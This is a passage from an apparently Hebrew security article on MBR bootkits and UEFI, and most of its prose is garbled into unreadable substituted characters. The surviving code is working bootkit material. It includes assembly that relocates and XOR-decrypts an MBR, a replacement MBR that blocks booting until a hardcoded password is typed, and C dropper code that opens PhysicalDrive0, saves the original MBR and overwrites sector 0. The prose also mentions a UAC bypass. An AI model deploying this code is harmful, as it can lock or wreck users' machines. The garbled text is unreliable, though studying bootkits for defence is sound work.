˪˷ ˥ˣˣ˶ˬ ˷˧ ˫˞ˢ ˸˵ˡˣ˟ мр ˫˧˶ˣ˦˵˯ ύ˪˷ ˰ˣ˟˵ ˪ˡˣˠ˟ ˞ˣˢ ˫ˢˬ ˡ˥˞ ˪˩ рмн ˫˧˸˟ό ˢ ˭˧˟πMBR 

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˢ˪˧˰˲ˢ ˢˮˣ˷˞˶ˢ ˢ˴˧˥ˬ˪ ύˢ˧˪˰ ˢ ˰˧˟˴ˬπVBRΦό ˞˪ ˫˞Σ ˢ˪ˣ˰˲ˬ ˸˪ˡˣ˥ ˞˧ˢΦ 

ˢ ˸˞ ˪˧˩ˢ˪ ˧ˡ˩ ˫ˣ˵ˬ ˵˧˲˯ˬ ˷˧ ˫˞ˢ ˸˵ˡˣ˟ ˣˤ ˢ˵˧ˡ˟πMBR ˢ˵ˤˣˮˢ ˪˷ ˧ˮˣˡˤˢΦ 

˪˷ ˟ˣ˸˩˷ ˞˧ˢ ˢ˵˟ˡˢˢ ˸˪˧˥˸ о ˫˧˶ˣ˦˵˯ ύ˧˦ˮˣˣ˪˶ ˰ˡ˧ˬ ˫˧˪˧˩ˬ ˫˧˶ˣ˦˵˯ˢ ˪˩ ˞˪Σ  ˫˧˶ˣ˦˵˯ ˷˧˷ ˨˩

ˢ˧˧˪˰ˢ ˨˧˪ˢ˸˟ ˰ˣˠ˲˪ ˧˪˟ˬ ˫˸ˣ˞ ˟˸˩˷˪ ˭˸˧ˮ˷ό ˬ˪ ˠ˴ˣ˸˷ ˢ˰ˡˣˢ˟˵˟ˡˮ ˣ˟˷˥ˬ˷ ˣ˪ ˠ˧˴˸˷ ˷ˬ˸˷Σ 

˷ˣ˩˶˧˷ ˥˸˲ˬˢ ˪˷ ˦˪˵ˢ ˸˪˟˵ˣ ˫ˣ˪˷˸ ˥ˣ˪˷˪ ˧ˬ˪Φ 

ˢ ˸˞ ˱ˣ˵˸˪ ˢ˪˧˥˸ˬ ˢ˵ˤˣˮˢ ˭˩ˬ ˶˥˞˪πMBRΦ ˢ ˸˞ ˸˞˶ˣ˵ ˞˧ˢπMBR  ˭ˣ˷˞˶ˢ ˶ˣ˦˵˯ˢˬ ˧˶ˣ˵ˬˢ

˸˪ˣ˰˲ ˸˰˴˟ˬˣ XOR ˣˢ˷˪˩ ˥˸˲ˬ ˫˰Φ ˢ ˸˞πMBR  ˣˬˣ˵ˬ˟ˣ ˶˥˞ ˶ˣ˦˵˯˟ ˸˶ˬˣ˷ ˞˧ˢ ˭˲˴ˣˬˢˣ ˧˶ˣ˵ˬˢ
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 ˸˟˸ˣ˩ ˭ˣ˷˞˶ˢ ˶ˣ˦˵˯˟ˢ ˸˞πMBR ˧ˮˣˡˤˢΦ ˫˧˴˟˵ˢ ˸ˮ˲˴ˢ˟ ˢ˩˧˷ˬˬ ˢ˵ˤˣˮˢ ˭˩ˬ ˶˥˞˪Φ  ˶˥˞˪

ˢˬ˧˧˯˷Σ ˢˬ˴˰ ˸˞ ˪˥˸˞˪ ˸˩˶˰ˬ˪ ˸ˬ˶ˣˠ ˞˧ˢ ύˣˮˬ˴˰˟ ˟ˣ˸˩ˮ˷ ˢ˵ˤˣˮ˟ ˢ˞˶ˮ˷ ˵˧˶˦˟Φό 

˵˪ˡ˸ ˸˩˶˰ˬˢ˷ ˢ˞˟ˢ ˫˰˲˟Σ ˢˬ ˢ˥˷ˣ˵ˢ ˸ˮ˧˰˦ ˶˥˞˪πBIOSΣ ˸˟ˣ˸˩˪ ˶ˣ˟˰˸ ˸˩˶˰ˬˢ 0x7c00  ˪˰

ˢ ˸˞ ˭ˣ˰˦˪ ˸ˮˬπMBR ˞ ˧ˮˣˡˤ ˡˣ˵˟ ˪˵˸˧˸ ˨˞ˢ ˸˞ ˶˧ˤ˥ˢ˪ ˸ˮˬ ˪˰ ˥˸˲ˬ ˷˵˟˧ ˶˷πMBR ˣ˸ˣˬˡ˵˪Φ 

1. mov si, 7C00h  

2. mov di, 600h  

3. ƳƻǾ ŎȄΣ нллƘ   

4. rep movsb  

5. mov bx, 7C2Ch  

6. sub bx, 7C00h  

7. add bx, 600h 

8. mov cx, bx  

9. decr_loop: 

10. ƳƻǾ ŀƭΣ ώōȄϐ   

11. xor al, [ds:encryption_key]  

12. mov [bx], al  

13. inc bx  

14. cmp bx, 7FBh 

15. jnz short ƭƻŎψм.   

16. jmp cx 

˷ˡ˥ˬ ˢ˪˰˲ˢˢˣ ˢ˵˟ˡˢˢ ˶˥˞˪ ˰˴˟˸ˬ ˡˣ˵ˢΦ ˢ˪˧˥˸Σ ˢ ˸˞ ˢ˵˧˸˰ˬ ˢ˵ˤˣˮˢπMBR  ˧ˮˣˡˤˢˣ ˭˲˴ˣˬˢ

ˣ˪˷ ˸˧˦˪ˣ˲˧ˡˢ ˸˟ˣ˸˩ˢˬ ύ0x7c00ό ˸˶˥˞ ˸˟ˣ˸˩˪ ύ0x600ό ˥ˣˮ˰˲˟ ˢ˪˧˥˸ˬˣΦ  ˪ˣˬ ˪˞ ˰˴˟˸ˬ ˥ˣˮ˰˲ˢ

ˣˢ˷˪˩ ˶ˣ˦˵˯˟ ˶ˬ˷ˮ˷ ˢˮ˲˴ˢ ˥˸˲ˬΦ ˥ˮ˰ˣ˲ˬ ˡˣ˵ˢ˷ ˶˥˞˪Σ ˣ˧˪˞ ˸˶˟˰ˣˬ ˢ˴˶ˢˢΦ 
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ˢ ˫ˣ˵ˬ˟ ˷ˬ˸˷ˬ˪ ˢ˞˟ˢ ˢ˰ˡˣˢˢ ˸˞ ˢˠ˧˴ˬ˷ ˢˮ˧˦ˣ˶ ˸ˬ˧˧˵ ˡˣ˵˟πBootloader ˸˶ˤ˰˟ˣBIOS 

interrupts ˢ˶ˤ˥ ˰ˡ˧ˬˢ ˸˞ ˪˟˵˪ ˢˣˣ˵˸˟ ˷˩˶ ˢ˸˰ ˢˤ˷ ˥˸˲ˬˢ ˸˞ ˯˧ˮ˩ˢ˪ ˷ˬ˸˷ˬ˪ ˸˶˷˲˞ˬΦ 

ˣˮ˶˰˴˪Σ ˢ ˸˞ ˢ˶˧ˤ˥ˬ˷ ˢˮ˧˦ˣ˶ ˸ˬ˧˧˵ ˞˪ ˡˣ˵˟πMBR ˸ˬ˞˟ ˥˸˲ˬˢ ˣ˟˷ ˟˴ˬ˟ ˫ˠˣ ˣ˸ˣˬˡ˵˪  ˷˩˶ˮ

˱˵ˣ˸ˢˬΣ ˡ˟˞ˮ ˪ˣ˩˧˟˩ ˰ˡ˧ˬˢˣ ˧˲ˣ˯ˮ˧˞ ˲ˣ˪˪ ˸˯ˮ˩ˮ ˸˧ˮ˩ˣ˸ˢ.  ˫˪˷˪ ˞˪ ˢ˰ˣˡ˧ˢ ˢ˶ˬ˞ˢ ˸˞ ˷˧ˠˡˬ˷ ˢˬ

ˣˮ˧˪˞ ˶ˣˤ˥˧ ˸ˬ˞˟ ˰ˡ˧ˬˢ ˫˞ˢ ˫˧˰ˡˣ˧ ˣˮˮ˧˞˷ ˧ˮ˲ˬ ˶˲ˣ˩ ˸ˣ˲˵˸ˬ˟Φ 

 

ˣˮ˪˷ˬ ˢ˲˧˵˸ ˸˟˧˸˩ 

ˡ˧ˠˢ˪ˣ ˧ˮˣˬ˪˞ ˧ˮˣ˪˲ ˫ˣ˵˪ ˪ˣ˩˧Ϧ Σˢ˲˧ˣ ˟ˣ˦ ˪˩ˢΣ ˧˦ˮˣˣ˪˶ ˞˪ ˢˤ ˫ˣ˧˩ ˨˞Φ ˟˰ ˸ˣˮˣ˩ˬˢ ˪˩˪ ˣ˶πUEFIΣ sπMBR 

˶˸ˣ˧ ˧˦ˮˣˣ˪˶ ˞˪Σ˭ˣˠ˩ ˸ˣ˧˴ˠ˧˦˧ˬ˟ ˫˧˷ˬ˸˷ˬ Secure Boot ˸ˣ˧˦ˮˣˣ˪˶ ˞˪˪ ˣ˶˞ˣ˸˷ ˸ˣ˦˧˷ˢ ˸˞ ˸ˣ˩˲ˣˢ˷ΦϦ 

˪˩ ˫ˡˣ˵Σ ˸ˣ˩˶˰ˬ ˸˲˧˵˸ ˪˷ ˫˪˷ ˫˪ˣ˰ ˫˧˧˵ Embedded ˭ˣˠ˩ ˫˧˶ˡˣ˞˪˦ˣ˟ˣ Uboot  ˞˪˷ ˫˧ˡ˟˰ˬ ˫˰

˫˧˩ˬˣ˸κ˸ˣ˧˦ˮˣˣ˪˶ ˭˧˧ˡ˰ ˸ˣ˲˵˸ˬˢ ˫˷ˣ ˸ˣ˧˴ˠ˧˦˧ˬ˟ ˫˧˷ˬ˸˷ˬ ˞˪ Φ˶˟ˡ ˧ˮ˷Σ ˣˮ˶˰˴˪ ύˣˮ˶˰˴˪ ˞˪ ˣ˞Σ  ˧ˣ˪˸

˫˧ˡˬˣ˰ ˫˸˞ ˡ˴ ˢˤ˧˞˟Σό ˪˷ ˸ˣˮ˷˧ ˸ˣ˞˯˶ˠ˟ ˫˧˷ˬ˸˷ˬ ˭˧˧ˡ˰ ˫˧˟˷˥ˬ ˢ˟˶ˢ Windows ύ˭ˣˠ˩ т x˞ XPό 

˫˧˟ˣ˷˥ ˸ˣˬˣ˵ˬ˟ ˫˧˞˴ˬˮˣ ύ˫˧˵ˮ˟Σ ˫˧˪ˣ˥ ˧˸˟Σ ˢˬ˷ˮˢ ˸ˣˮˣ˩ˬΣ˥ˣ˦˧˟ ˸ˣ˶˟˥Φ  ˣˮ˧˞˶ ˣ˪˞˪ ˸ˣ˞ˬˠˣˡ

˳˶˞˟ ˢˮˣ˶˥˞ˢ ˢˮ˷˟ ˣˮ˶˰˴˪ Φό 
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]˶ˣ˥˟ˢ ˣˬ˩ ˸˧˞˶ˮ˷ ˸˩˶˰ˬ˟ ˷ˬ˸˷ˬ ˪˞ˬ˷ˬ ˟ˣ˦ˢ Windows7ώΦΦΦ 

 

ˣ˪˞ˢ ˸ˣ˟ˣ˷˥ˢ ˸ˣ˶˦ˬˢ ˪˩ ˸˞ ˥˧ˮˤˢ˪ ˞˪ ˧ˡ˩Σ ˣˮ˪˷ˬ ˶˲ˣ˩ ˸˲˵˸ˬ ˟ˣ˸˩ˮ ˣˮ˞ ˢˤˢ ˵˪˥˟Φ  ˫˧˵˪˥˟ ˣˬ˩

˫˧ˬˡˣ˵ˢΣ ˸˲˧˵˰˟ ˵˯˰˸ˮ ˞˪ ˣˮ˥ˮ˞ UAC ˢˮ˲˴ˢˣΣ ˢ ˪˷ ˢ˲˧˵˸˟ ˣ˦ˮ ˞˪˞πMBRΦ 

˶˧˩ˤˬ ˧ˮ˞Σ ˷˟ ˡˣ˵ˢ ˸˞ ˵˧˸˰ˢ˪ ˦˧˪˥˧ ˞˪ ˡ˥˞ ˱˞˷ ˧ˡ˩ˣ˟ ˷ˬ˸˷ˢ˪ˣ ˣ˸ˣˬ˪Σ  ˫˧˞˪ˬ ˫˧˰˦˵ ˣ˧ˢ˧ ˞˪

˟˞ˢ˦˧ˠ˪ ˢ˪˰˧ ˞˪ ˡˣ˵ˢˣΣ ˫˧˧˦˵˶˲ ˫˧˶ˣ˞˧˸ˣ ˫˧˦ˮˣˣ˪˶ ˡˣ˵ ˧˵˪˥ ˣ˧ˢ˧ ˭˩ ˨˞Φ ˸˧˟˟ ˸ˣ˯ˮ˪ ˫˸˦˪˥ˢ ˫˞Σ 

˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ˟ ˵˶ˣ ˨˞ ˭˟ˣˬ˩Φ 

 

˫˧˵˪˥ˢ ˭ˣˮ˩˸ 

ˡˣ˵ˢ ˸˞ ˟ˣ˸˩˪ ˫˧˴˲ˣ˵˷ ˧ˮ˲˪Σ ˟˸˩˷˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˢˬ ˭˧˟ˢ˪ˣ ˢ˧˧˪˰ˢ ˧˟˧˩˶˪ ˶ˣˤ˥˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞Σ  ˢˬ

ˢ˵˟ˡˢˢ ˶˥˞˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˧˧˪˰˪ ˢ˧ˢ˧ ˟˧˸ˮ ˢˤ˧˞ˣ ˶˧˞˷ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞Φ 

¶ ˢ ˟ˣ˸˩˷ ˢ˧ˢ˧ ˭ˣ˷˞˶ˢ ˟˪˷ˢπMBRΣ ˯ˬ ˶ˣ˦˵˯ ˟ˣ˸˩˷ ˶ˬˣ˪˩ ϥлΦ  ˢ˪˧˥˸ˬ ˣˮˬˬ˷ ˶ˣ˦˵˯ˢ ˣˢˤ

ˢ˧˧˪˰ˢ ˸˶˷˶˷ ˸˞ ˸ˣˮ˷˪ ˪˧˥˸ˢ˪ ˢ˴˶ˮ ˫˷ˬ ˶˟˩ˣ ˢ˶˵ˬ ˪˩˟ ˢ˴˧˶ˢΦ 

¶ ˢ ˫ˣ˵ˬ˟πMBR ˧˶ˣ˵ˬˢΣ  ˸˰ˡˣˢ˟ ˵˟ˡˮ ˞ˣˢ˷ ˷ˬ˸˷ˬ˪ ˢ˰ˡˣˢ ˸ˠ˴ˢ ˪˰ ˧˞˶˥˞ ˢ˧ˢ˧˷ ˡˣ˵ ˟ˣ˸˩ˮ

˦˪˵ ˣˮˬˬ ˷˵˟˧ˣ ˶˲ˣ˩ 

¶ ˢ ˸˞πMBR ˶˲˯ˬ ˶ˣ˦˵˯˪ ˵˧˸˰ˮ ˧˶ˣ˵ˬˢ м ˟ ˪˧˥˸ˬ˷π0x200Φ ˣ˸ˮ˲˴ˢ˟ ˵˯˰˸ˮ ˞˪ ˣˮ˪˷ ˞ˬˠˣˡ˟Σ 

˰ ˦ˣ˷˲ ˶ˣˤ˥˷ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ ˸˞ˤ ˸ˣ˷˰˪ ˢ˴˶ˮ ˧˸˧ˬ˞ ˢ˶˵ˬ˟ ˨˞Ϧ˫˧˶˥˞ ˫˧˶˵ˣ˥ ˧Φ 

¶ ˟ ˷˵˟ˮ˷ ˦˪˵ˢπMBR  ˢ˷˧ˠ ˷ˬ˸˷ˬˢˬ ˰ˣˮˬ˪ˣ ˧˲ˣ˯ˮ˧˞ ˲ˣ˪˪ ˯ˮ˩˧ˢ˪ ˫˞ˢ ˦˧˪˥˧ ˣˮ˪˷ ˧ˮˣˡˤˢ

˰ˡ˧ˬ˪Σ ˭ˣ˩ˮ ˦˪˵ˢˣ ˢ˶˵ˬ˟ ˣ˞Σ ˢ ˸˞ ˵˧˸˰ˢ˪πMBR ˶˲˯ˬ ˶ˣ˦˵˯˪ ˢ˶ˤ˥˟ л ˫˷˪ ˳ˣ˲˵˪ˣΦ 
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˸˟˧˸˩ MBR 

ˢ ˸˞πMBR ˟ ˞˪ˣ ˧˪˟ˬ˯˞˟ ˟ˣ˸˩˪ ˣˮ˶˰˴˪ ˨˶˦˴ˮπCΦ ˰ˣˡˬΚ ˢ ˡˣ˵πMBR ύ˸ˣ˩˶˰ˬ˟ Legacy ˭˟ˣˬ˩Σ  ˪˰

˸ˣ˩˶˰ˬ UEFI ˨˷ˬˢ˟ ˶ˣ˟˰ˮό ˟ ˳˶πReal ModeΦ  ˨˪ˢˬ˟ ˡˣ˵ˢ ˫ˣ˵˧ˬ ˸˞ ˸ˣˮ˷˪ ˨˶˦˴ˮ ˨˩˪ ˱˯ˣˮ˟

˸˧ˮ˩ˣ˸ˢΦ ˣ˪˞ н ˸˲˷˷ ˫˧˶˟ˡ C ˸ˣ˷˰˪ ˸˪ˠˣ˯ˬ ˢˮ˧˞Φ 

 ˶˧ˡˠˮ ˪˩ ˫ˡˣ˵ ˣ˪˞ ˸ˣ˶ˣ˷˟˟ ˫˧ˡ˟ˣ˰ ˣˮ˥ˮ˞˷πReal Mode ύмс ˦˧˟όΥ 

1. CPU 386 

2. BITS 16 

3. org 0h 

˸˟ˣ˸˩ˬ ˡˣ˟˰˪ ˪˧˥˸ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˸ˣ˶ˣˢ˪ˣ ˢˡˣ˟˰˪ ˸˧ˮ˯˥ˬˢ ˸˞ ˭˧˩ˢ˪ ˢ˴˶ˮ 0x7c00Υ 

1. xor ax,ax 

2. mov ss,ax 

3. mov sp,7c00h 

 ˶˷˲˞ ˭˟ˣˬ˩ ,ˡˣ˵˟ ˢ˰ˣ˟˵ ˞ˬ˯˧˯ ˰˟˵ˮ ˣˮ˪˷ ˞ˬˠˣˡ˟ .ˣˮ˪˷ ˞ˬ˯˧˯ˢ ˸˞ ˢˣˣˢ˧˷ ˢˮ˸˷ˬ ˶˧ˡˠˮ˶˧ˡˠˢ˪ 

˸ˣ˧˵ˣ˥ˢ ˸˞ ˭˧˟ˢ˪ ˫˧˶˵ˣ˥ ˪˰ ˢ˷˵˸˷ ˫˧˧ˣ˯ˬ ˫˸˧˶ˣˠ˪˞ ˫˰ ˢ˧˴˵ˮˣ˲ ˨ˣ˸ˬ ˢ˸ˣ˞: 

1. password db 031h, 032h, 033h, 034h, 02dh, 031h, 032h, 033h, 034h, 02dh, 031h, 032h, 033h, 034h, 02dh, 

031h, 032h, 033h, 034h, 0;1234-1234-1234-1234 

 ˶˲ˣ˩ˢ ˸˰ˡˣˢ ˫˰ ˢ˷˰ˮ ˶˟ˡ ˣ˸ˣ˞˟ ˷ˬ˸˷ˮ .˷ˬ˸˷ˬ˪ ˠ˴ˣ˸˷-INT10  .˨˯ˬ˪ ˫˧ˣˣ˸ ˯˧˲ˡˢ˪ ˸ˮˬ ˪˰

 ˢ˶ˣ˷˟мл˶ˠˣ˞˪ ˭˰˦˧˷ ˡˣ˵ ˰˦˵˪ ˳ˣ˲˵ˮ ,˶˲ˣ˩ˢ ˸˰ˡˣˢ ˸ˤˣ˶˥ˬ ˱ˣ˯˪ ˣˮ˰ˠˢˣ ˢˡ˧ˬ˟ , SI  ˞ˬ˯˧˯ˢ ˸˞

.˷ˬ˸˷ˬˢˬ ˢ˪ ˫˧˲˴ˬ ˣˮ˥ˮ˞˷ 

1. print_char: 

2.         lodsb 

3.         test al,al 

4.         jz before_wait_for_key 

5.         int 10h 

6.         jmp print_char 

7. write_char: 

8.     inc si 

9.     cmp byte [ds:bp + si],0         ; keep writing until there is a null byte  

10.     jz before_wait_for_key 

11.   

12.     push bp 

13.       

14.     mov al, [byte ds:bp + si] 

15.     mov bx, 07h 

16.     int 10h                         ; teletype the character 

17.       

18.     pop bp 

19.      

20.     jmp write_char 
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˯˧ˮ˩ˬ ˷ˬ˸˷ˬˢ˷ ˣ˸ ˪˩ ˵ˣˡ˟˸ ˶˷˞ ˢ˞˪ˣ˪ ˢ˧ˢ˸Φ ˭ˣ˩ˮ ˞˪ ˣ˸ ˯˧ˮ˩ˢ ˷ˬ˸˷ˬˢˣ ˢˡ˧ˬ˟Σ  ˢ˞˪ˣ˪˪ ˯ˮ˩˧ˮ

˸˧˲ˣ˯ ˭˧˞ ύˢ˶ˣ˷ н ˫˪ˣ˰˪ ˢˬ˴˰ ˨ˣ˸˪ ˳ˣ˲˵˪ ˸˶ˬˣ˞ ˫˴˰˟Φό ˢ˲ˣ˴ˬ˷ ˣ˸˪ ˫˞ˣ˸ ˭˩˞ ˣ˸ˢˣ ˢˡ˧ˬ˟Σ 

˞˟ˢ ˣ˸ˢ ˸˦˧˪˵˟ ˫˧˩˧˷ˬˬΥ 

1. cmp al, byte [cs:si] 

2. jnz $ 

3. inc si 

4. cmp byte [cs:si],0 

5. jz end 

6. jmp wait_for_key 

˵˧˸˰ˮ рмн ˧ˮ˷ˢ ˶ˣ˦˵˯ˢˬ ˫˧˸˟ ύ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷ 0x200Σ ˪˷ ˰ˣ˟˵ ˪ˡˣˠ˟ ˞ˣˢ ˫ˢˬ ˡ˥˞ ˪˩˷ ˶˧˩ˤˬ 

рмнΦό ˸˧˶ˣ˵ˬˢ ˸˟ˣ˸˩ˢ ˢ˧ˢ˸ ˡ˰˧ˢ ˸˟ˣ˸˩ 0x7c00Υ 

1. mov cx,0200h                    ; 512 bytes 

2. mov si,0200h                    ; src location 

3. xor ax,ax 

4. mov es,ax                       ; dest segment 

5. mov di,7c00h                    ; dest addr 

6. rep movsb                       ; move 512 bytes      

ˢˣˣˢˬ˷ ˡˣ˵ ˪˩ MBR ˫˧˩˶˰˟ ˶ˬˠ˧ˢ˪ ˟˧˧˥ 0xaa55Φ ˟ ˶˟ˣˡˬ˷ ˢ˥˷ˣ˵ˢ ˢˢˤˬ ˨˩˟πMBR  ˢ˪˧˥˸ˬˣ

ˢ˴˧˶ˢ ˸˞ ˣˮˬˬΥ 

1. MBR_signature: 

2.     db 55h,0aah 

ˢ ˳˟ˣ˵ ˸˞πasm ˳˟ˣ˵˪ ˨ˣ˲ˢˮ bin ˸˶ˤ˰˟ nasmκ˥˞ ˢ˶ˣ˴˸ ˪˩˥˟ˮ˷ ˸˶Φ˶ 

 

ˢ ˸˟˧˸˩πDropper 

,˸˰˩ ˢ ˪˷ ˡˣ˵ˢ ˸˞ ˣˮ˪ ˷˧˷˩πMBRΣ ˳˟ˣ˵ ˫˧˩˧˶˴ ˣˮ˥ˮ˞πPE ˪ ˷ˠ˧˧ ˷ˬˬ˷πMBR ˷ˡ˥ˬ ˣ˸ˣ˞ ˟ˣ˸˩˧ˣΦ 

˥˸˲ˮ Handle ˢ ˸˞ ˪˧˩ˬ˷ ˟˧˧˶ˡ˪πMBRΦ ˞˵ˣˣˡ˷ ˢ˥ˮˢ ˢ˲ ˫˧˷ˣ˰ ˫˴˰˟ ˣˮ˥ˮ˞ PhisicalDrive0  ˸˞ ˪˧˩ˬ

πsMBR ˢˤ˪ ˯ˮ˩˧ˮ ˞˪ ˨˞ ˢ˧˴˞ˣ˦˧˯ ˪˩˪ ˭ˣ˩ˮ ˞˪˷ ˢˬΦ ˸˧˸˧ˬ˞ ˢ˧˴˞ˣ˦˧˯˟Σ  ˢ˩˧˶˴ˬ˷ ˸˞ˤˢ ˢ˷˧ˠˢ ˧ˮ˲˪

˪ˢˮˬ ˸ˣ˞˷˶ˢΣ ˬ˷ ˧ˢ˷˪˩ ˢ˷˪ˣ˥˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮˣˮ˪ ˢ˵˧ˮ˰ UAC BypassΥ 

1. mbrH = CreateFileA("\ \ \ \ .\ \PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 

OPEN_EXISTING, NULL, NULL); 

ˢ ˸˞ ˟˩˷˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪πMBRΣ ˸˧˶ˣ˵ˬˢ ˢ˶ˣ˴ˢ ˸˞ ˶ˣˬ˷ˮ ˣˮ˥ˮ˞ ύ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˥ˮ˞ˣ ˢˡ˧ˬ˟ ˭˟ˣˬ˩

 ˸˧˸˧ˬ˞ ˢ˧˴˲ˣ˞ ˶˧˞˷ˢ˪˸˩˶˰ˬˢ ˶ˣˤ˥˷˪όΥ 

1. SetFilePointer(mbrH, 0, NULL, FILE_BEGIN); 

2.         if (!ReadFile(mbrH, &oldMbr, 512, &ioRet, NULL)) { 

3.             printf ("Failed to read original MBR"); 

4.             break; 
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ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ SetFilePointer ˯ˬ ˶ˣ˦˵˯˪ ˳˟ˣ˵ˢ ˸˞˧˶˵ ˫ˣ˵˧ˬ ˸˞ ˭ˣˣ˩ˮ ˣˮ˥ˮ˞ ϥм ˢ˧˴ˮ˵ˣ˲ˢ ˸˶ˤ˰˟ˣ 

WriteFile ˢ ˸˞ ˫˷˪ ˟ˣ˸˩ˮπMBR ˧˶ˣ˵ˬˢΦ ˧˪˟ˬ˯˞ˢ ˡˣ˵ˬ ˶ˣ˩ˤ˩Σ  ˸˞ ˟ˣ˸˩ˮ ˣˮ˥ˮ˞ ˸˞ˤˢ ˸˟ˣ˸˩ˢˬ

˭ˣ˩ˮ ˢ˧ˢ˧ ˷ˬ˸˷ˬˢ ˦˪˵ˣ ˢˡ˧ˬ˟ ˰˴˟˪ ˢ˴˶ˮ˷ ˡˣ˵ˢΥ 

1. memcpy(newMbr + 0x01b0, oldMbr + 0x01b0, 0x40); 

2. SetFilePointer(mbrH, 512, 0, FILE_BEGIN); 

3.         if (!WriteFile(mbrH, &oldMbr, 512, &ioRet, NULL)) { 

4.             printf ("Error writing old MBR"); 

5.             break; 

6.         } 

ˢ ˸˞ ˟ˣ˸˩ˮ ˫ˠ ˢ˶ˣ˴ ˢ˸ˣ˞˟ ˭˩ˬ ˶˥˞˪πBuffer ˢ ˸˞ ˪˧˩ˬ˷πMBR ˯ˬ ˶ˣ˦˵˯˪ ˧ˮˣˡˤˢ ϥл Φ 

 

  



 
 

Bootkits - It's Never Deep Enough 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпл, ˧ˮˣ˧ нлнн  ол 
 

UEFI - Unified Extensible Firmware Interface 

UEFI ˣˮ˧ˢ  ˦˶ˡˮ˦˯˞˷ ˶ˢ˥˷ˣ˵˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˭˧˟ ˵˷ˬˬ ˶˧ˡˠˬΦ ˢ ˸˞ ˱˧˪˥ˢ˪ ˡ˰ˣˮπBIOS  ˸ˣ˟˧˯ˬ

ˢ˥˦˟˞ ˪˷Σ ˷ ˢ˟˧˯ˢˬ ˭˩ ˣˬ˩πBIOS ˪˷ ˟˴ˬ˟ ˪˰ˣ˲ мс ˸˧ˮ˶ˡˣˬ ˢ˶ˬˣ˥˪ ˫˧˞˸ˬ ˞˪˷ ˦˧˟ Φ 

ˣˮ˪˷ ˦˟ˬˢ ˸ˡˣ˵ˮˬΣ ˟ ˧˦˧˶˵ˢ ˧ˣˮ˧˷ˢπUEFI ˟ ˢ˩˧ˬ˸ˢ ˞ˣˢπSecure Boot ˨˷ˬˢ˟ ˣ˧˪˰ ˶ˣ˟˰ˮ˷Σ  ˶ˡ˯ˣ

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˢ˧˧˪˰ˢΦ ˫ˣ˧˩Σ ˢ ˪˷ ˵˪˥ˢπMBR/VBR ˫˧˧˵ ˣˮ˧˞ ύ˪ ˸ˣˬ˧˞˸ ˸ˬ˧˧˵πMBR  ˞˪ ˞˧ˢ ˨˞

ˣˮ˪ ˸˧˦ˮˣˣ˪˶Σό ˶ˡˣ˞˪˦ˣ˟ˢ ˸˞ ˸ˣ˪˰˪ˣ ˞ˣ˴ˬ˪ ˧˞˶˥˞˷ ˡ˧˥˧ ˡˣ˵ ˰˦˵ ˱˧˪˥ˬ ˣ˸ˣ˞ Φ 

GPT 

π˟MBR ˢ ˸˞ ˣˮ˪ ˷˧πpartition table  ˢ˪˧˰˲ˢ ˢ˴˧˥ˬˢ ˸˞˴ˬˮ ˭˩˧ˢ ˣˮ˪ ˢ˞˶ˬˣ ˢ˴˧˥ˬ ˪˩ ˸˶˞˸ˬ˷

ˢ˪˰ˮ ˢˮˬˬ˷Φ ˸˯˯ˣ˟ˬ ˸˩˶˰ˬ˟ UEFI ˢ ˸˞ ˣˮ˪ ˷˧πGUID Partition TableΦ ˫ˢ ˣˮ˪ ˫˧˦ˮˣˣ˪˶˷ ˫˧˪ˡ˟ˢˢΥ 

¶ ˞˪ ˞ˣˢ ˸ˣ˴˧˥ˬˢ ˪ˡˣˠ рмн ˬ ˣˬ˩πMBRΣ ˶˸ˣ˧ ˸ˣ˪ˣˡˠ ˸ˣ˴˧˥ˬ˪ ˸ˣ˶˷˲˞ ˷˧ 

¶ ˵ˣ˪ˡ ˦˧˟˟ ˸ˮˬˣ˯ˬ ˞˪ ˢ˪˧˰˲ˢ ˢ˴˧˥ˬˢΣ ˢˮˣ˩ˬ˷ ˶ˡˣ˞˪˦ˣ˟ˢ ˢ˪˰˧ ˢˮˬˬ˷ ˸˧ˡˣ˰˧ ˢ˴˧˥ˬ ˷˧ ˞˪˞ 

EFI PartitionΦ ˟ ˶ˣˬ˷ ˢ˧˪˞ ˟˧˸ˮˢπNVRAM ˢ˥˷ˣ˵ˢ ˸˞ ˶ˬˣ˷˷ ˫˞ˢ ˥ˣ˪ ˪˰ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˞ˣˢ˷ ύsπ

BIOSό ˸ˣˮˣ˷ ˸ˣ˶ˡˠˢˣ ύ˪ ˡˣˠ˧ˮ˟πCMOS ˭˷˧ˢ Φό 

 

 

˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩Σ ˟ ˷˥˶˸ˬ ˨˧˪ˢ˸ˢˬ ˪ˣˡˠ ˵˪˥πUEFI CODE ˫˧ˮˣ˷ ˫˧˟˧˩˶˪ ˵˪ˣ˥ˬ ˞˪ˣΦ sπUEFI CODE 

˯ˬ˟ ˢˮˣ˷ϥ ˭ˣˠ˩ ˫˧˶˟ˡΥ 

¶ ˷˧ (Embedded Development Kit) EDK ˪ˣˡˣˬˢ ˸˞ ˸ˣˮ˟˪ ˡ˴˧˩ ˸ˣ˧ˮ˶˴˧˪ ˢ˶˧ˡˠˬ˷Σ ˪ ˡˣˠ˧ˮ˟πBIOS 

˭˶˴˧ ˪˩ ˪˴˞ ˢˮˣ˷ ˢ˸˧˧ˢ ˢ˷ˬ˷ˢˢ˷ Φ 

¶ ˸˲˷˟ ˞˧ˢ ˢ˷ˬ˷ˢˢ ˟ˣ˶ C/C++ ˧˪˟ˬ˯˞ ˞˪ˣΦ 

